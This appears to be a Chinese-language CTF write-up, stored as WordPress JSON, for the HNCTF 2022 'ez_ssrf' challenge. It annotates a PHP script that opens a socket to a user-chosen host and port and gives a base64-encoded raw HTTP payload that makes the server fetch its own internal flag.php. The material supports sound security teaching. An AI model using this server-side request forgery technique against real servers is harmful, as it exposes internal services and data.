{"id":982,"date":"2025-01-18T23:14:07","date_gmt":"2025-01-18T15:14:07","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=982"},"modified":"2025-01-18T23:14:08","modified_gmt":"2025-01-18T15:14:08","slug":"hnctf-2022-week2ez_ssrf","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/hnctf-2022-week2ez_ssrf\/","title":{"rendered":"HNCTF 2022 WEEK2ez_ssrf"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209151837.png\" alt=\"Pasted image 20241209151837.png\"><\/p>\n<p>1.\u8df3\u8f6cindex.php\u9875\u9762<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209151814.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209151814.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241209151814.png\"><\/div><br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209151857.png\" alt=\"Pasted image 20241209151857.png\"><\/p>\n<p>2.\u4ee3\u7801\u5ba1\u8ba1<\/p>\n<pre><code class=\"language-php\">&lt;?php  \n  \nhighlight_file(__FILE__);  \n\/\/\u8fd9\u884c\u4ee3\u7801\u4f1a\u9ad8\u4eae\u663e\u793a\u5f53\u524d\u6587\u4ef6\u7684\u6e90\u4ee3\u7801\u3002__FILE__ \u662f\u4e00\u4e2a\u9b54\u672f\u5e38\u91cf\uff0c\u5b83\u5305\u542b\u4e86\u5f53\u524d\u6587\u4ef6\u7684\u8def\u5f84\u3002\nerror_reporting(0);  \n\/\/\u8fd9\u884c\u4ee3\u7801\u5173\u95ed\u4e86\u6240\u6709\u7684\u9519\u8bef\u62a5\u544a\u3002\u901a\u5e38\u7528\u4e8e\u751f\u4ea7\u73af\u5883\u4e2d\uff0c\u4ee5\u9632\u6b62\u9519\u8bef\u4fe1\u606f\u6cc4\u9732\u7ed9\u7528\u6237\u6216\u653b\u51fb\u8005\u3002\n$data=base64_decode($_GET['data']);  \n\/\/ \u4eceGET\u8bf7\u6c42\u4e2d\u83b7\u53d6\u540d\u4e3adata\u7684\u53c2\u6570\uff0c\u5e76\u5bf9\u5176\u8fdb\u884cBase64\u89e3\u7801\uff0c\u89e3\u7801\u540e\u7684\u6570\u636e\u5b58\u50a8\u5728\u53d8\u91cf$data\u4e2d\u3002\n$host=$_GET['host'];  \n$port=$_GET['port'];  \n  \n$fp=fsockopen($host,intval($port),$error,$errstr,30);  \n\/\/\u884c\u4ee3\u7801\u5c1d\u8bd5\u4f7f\u7528fsockopen\u51fd\u6570\u6253\u5f00\u4e00\u4e2a\u5230\u6307\u5b9a\u4e3b\u673a\u548c\u7aef\u53e3\u7684socket\u8fde\u63a5\u3002\u5982\u679c\u8fde\u63a5\u5931\u8d25\uff0c$error\u548c$errstr\u53d8\u91cf\u5c06\u88ab\u8bbe\u7f6e\uff0c\u4f46\u5728\u8fd9\u4e2a\u811a\u672c\u4e2d\u5b83\u4eec\u5e76\u6ca1\u6709\u88ab\u4f7f\u7528\u3002host\u4e3a\u4e3b\u673a\u5730\u5740\u6216ip\uff0cport\u662f\u7aef\u53e3\u53f7\nif(!$fp)\u00a0{  \n\u00a0\u00a0\u00a0\u00a0die();  \n}  \n\/\/\u5982\u679cfsockopen\u51fd\u6570\u8fd4\u56defalse\uff0c\u610f\u5473\u7740\u8fde\u63a5\u5931\u8d25\uff0c\u811a\u672c\u5c06\u8c03\u7528die()\u51fd\u6570\u7ec8\u6b62\u6267\u884c\u3002\nelse\u00a0{\u00a0\u00a0\u00a0\u00a0fwrite($fp,$data);  \n\/\/\u5c06\u4e4b\u524d\u89e3\u7801\u7684\u6570\u636e$data\u5199\u5165\u5230socket\u8fde\u63a5\u4e2d\u3002\n\u00a0\u00a0\u00a0\u00a0while(!feof($data))\n\u00a0\u00a0\u00a0\u00a0\/\/\u8fd9\u884c\u4ee3\u7801\u5f00\u59cb\u4e00\u4e2a\u5faa\u73af\uff0c\u53ea\u8981\u6587\u4ef6\u6307\u9488\u6ca1\u6709\u5230\u8fbe$data\u7684\u672b\u5c3e\uff0c\u5faa\u73af\u5c31\u4f1a\u7ee7\u7eed\u3002\n\u00a0\u00a0\u00a0\u00a0{  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0echo\u00a0fgets($fp,128);  \n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/\/\u4ecesocket\u8fde\u63a5\u4e2d\u8bfb\u53d6\u4e00\u884c\u6570\u636e\uff08\u6700\u591a128\u4e2a\u5b57\u7b26\uff09\uff0c\u5e76\u5c06\u5176\u8f93\u51fa\u5230\u6d4f\u89c8\u5668\u3002\n\u00a0\u00a0\u00a0\u00a0}\u00a0\u00a0\u00a0\u00a0fclose($fp);  \n\u00a0\u00a0\u00a0\u00a0\/\/ \u8fd9\u884c\u4ee3\u7801\u5173\u95edsocket\u8fde\u63a5\u3002\n}\n<\/code><\/pre>\n<p><code>fsockopen<\/code>\u51fd\u6570\u53d1\u9001 HTTP \u8bf7\u6c42\u5e76\u83b7\u53d6\u54cd\u5e94<\/p>\n<p>\u6240\u4ee5\u6211\u4eec\u5c1d\u8bd5\u65b9\u5f0fhttp\u8bf7\u6c42\u8bfb\u53d6flag.php<br \/>\ndata:<br \/>\nGET \/flag.php HTTP\/1.1<br \/>\nHost: 127.0.0.1<br \/>\nConnection: Close\u00a0\/\/\u5ba2\u6237\u7aef\u5e0c\u671b\u5728\u672c\u6b21\u8bf7\u6c42 &#8211; \u54cd\u5e94\u4ea4\u4e92\u5b8c\u6210\u540e\uff0c\u5173\u95ed\u4e0e\u670d\u52a1\u5668\u5efa\u7acb\u7684 TCP \u8fde\u63a5\u3002<\/p>\n<ol start=\"3\">\n<li><\/li>\n<\/ol>\n<p>payload\uff1a<\/p>\n<pre><code>?host=127.0.0.1&amp;port=80&amp;data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241209154751.png\" alt=\"Pasted image 20241209154751.png\"><\/p>\n<h3>\u603b\u7ed3<\/h3>\n<h4>ssrf<\/h4>\n<p><code>fsockopen<\/code>\u51fd\u6570<br \/>\n\u8bed\u6cd5\uff1a<br \/>\n<code>resource fsockopen ( string $hostname, int $port [, int &amp;$errno [, string &amp;$errstr [, float $timeout = ini_get(&quot;default_socket_timeout&quot;) ]]] )<\/code>\u3002\u5176\u4e2d\uff0c<code>$hostname<\/code>\u662f\u8981\u8fde\u63a5\u7684\u4e3b\u673a\u540d\u6216 IP \u5730\u5740\uff0c<code>$port<\/code>\u662f\u76ee\u6807\u670d\u52a1\u7684\u7aef\u53e3\u53f7\uff0c<code>$errno<\/code>\u548c<code>$errstr<\/code>\u662f\u53ef\u9009\u53c2\u6570\uff0c\u7528\u4e8e\u83b7\u53d6\u8fde\u63a5\u9519\u8bef\u65f6\u7684\u9519\u8bef\u7801\u548c\u9519\u8bef\u4fe1\u606f\uff0c<code>$timeout<\/code>\u662f\u8fde\u63a5\u8d85\u65f6\u65f6\u95f4\uff08\u9ed8\u8ba4\u4e3a<code>ini_get(&quot;default_socket_timeout&quot;)<\/code>\uff09\u3002<\/p>\n<h4>\u6784\u9020http\u8bf7\u6c42<\/h4>\n","protected":false},"excerpt":{"rendered":"<p>1.\u8df3\u8f6cindex.php\u9875\u9762 2.\u4ee3\u7801\u5ba1\u8ba1 &lt;?php highlight_file(__FILE__ [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[36],"class_list":["post-982","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-ssrf"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/982","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=982"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/982\/revisions"}],"predecessor-version":[{"id":983,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/982\/revisions\/983"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=982"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=982"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=982"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}